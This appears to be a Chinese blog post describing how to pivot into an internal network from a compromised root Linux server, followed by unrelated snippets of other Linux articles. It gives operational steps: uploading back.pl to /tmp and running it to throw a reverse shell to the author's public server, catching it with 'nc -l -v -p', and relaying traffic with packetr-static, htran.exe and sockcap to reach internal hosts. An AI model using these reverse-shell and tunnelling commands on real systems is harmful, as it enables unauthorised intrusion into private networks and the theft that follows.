Linux下的内网反弹实例
环境:
被攻陷的Linux主机(拿到root权限)-----模拟为我内网的一台Linux服务器 192.168.0.105
hack的操作用机-----我的电脑 192.168.1.101
反弹到公网的服务器-----我自己的公网服务器 61.160.2xx.xxx
渗透测试用的windows测试机 192.168.1.109
工具:
packetr-static Linux下的
htran.exe windows下的
sockcap 用作代理进入内网渗透的利器
过程:
1.我模拟下极度苛刻的情况下的环境,该攻陷的Linux服务器对外不开放22,只存在web端口80,那么我们必须得反弹shell到公网的机器上,这点我虚拟机里面没 这个环境,我就直接说下简要的
上传back.pl文件到linux下的tmp目录下,执行
perl /tmp/back.pl xxx.xxx.xxx.xxx 端口
在公网的服务器上,运行nc执行
nc -l -v -p 端口(跟上面的一样)
现在我弹2个窗口回来,一个开代理,一个转发数据
把packetr-static传上去,执行
./packetr-static -s 1988
一个窗口转发数据,执行
./packetr-static -slave 61.160.20x.xxx 123 127.0.0.1 1988
2.在windows公网端执行,
htran.exe -p -listen 123 1988
3.配置sockcap
4.运行代理程序进入内网
相关文档：
2009 年 4 月 23 日
本文中我们针对 Linux 上多线程编程的主要特性总结出 5 条经验，用以改善 Linux 多线程编程的习惯和避免其中的开发陷阱。在本文中，我们穿插一些 Windows 的编程用例用以对比 Linux 特性，以加深读者印象。
背景
Linux 平台上的多线程程序开发相对应其他平台（比如 Windows）的多线程 API 有一些细微 ......
完成本文，使用了两个工具
1. strace
2. google code search
.
----
swap分区有一个大小为PAGE_SIZE的页面，称为signature页，上面记录swap分区的基本信息。
static struct swap_header_v1 {
char bootbits[1024]; /* Space for disklabel etc. */
unsigned int version;
......
备注：
本博内容是承接上期内容的延续，由于内容过长，因此采用分段说明，以免大家看起来疲倦，若了解更多详细的安装流程，请继续关注本博。参照原版安装手册对照安装。
4．Configure Oracle Installation Owner Shell Limits
<1>配置limits.conf文件，红色标注为增加的配置内容。
[root@myli ......
本文网址:http://bbs.bitscn.com/72875 复制 【转自bbs.bitsCN.com】
1. Linux 脚本编写基础
1.1 语法基本介绍
1.1.1 开头
程序必须以下面的行开始（必须放在文件的第一行）：
#!/bin/sh
符号#!用来告诉系统它后面的� ......
最近一直想装linux U5,一直没找到，今天找到了，分享给大家！！！
ftp://openware.byr.edu.cn/pub/os-images/Redhat/RHEL4u5/i386/RHEL4-U5-i386-AS-disc1.iso
ftp://openware.byr.edu.cn/pub/os-images/Redhat/RHEL4u5/i386/RHEL4-U5-i386-AS-disc2.iso
ftp://openware.byr.edu.cn/pub/os-images ......
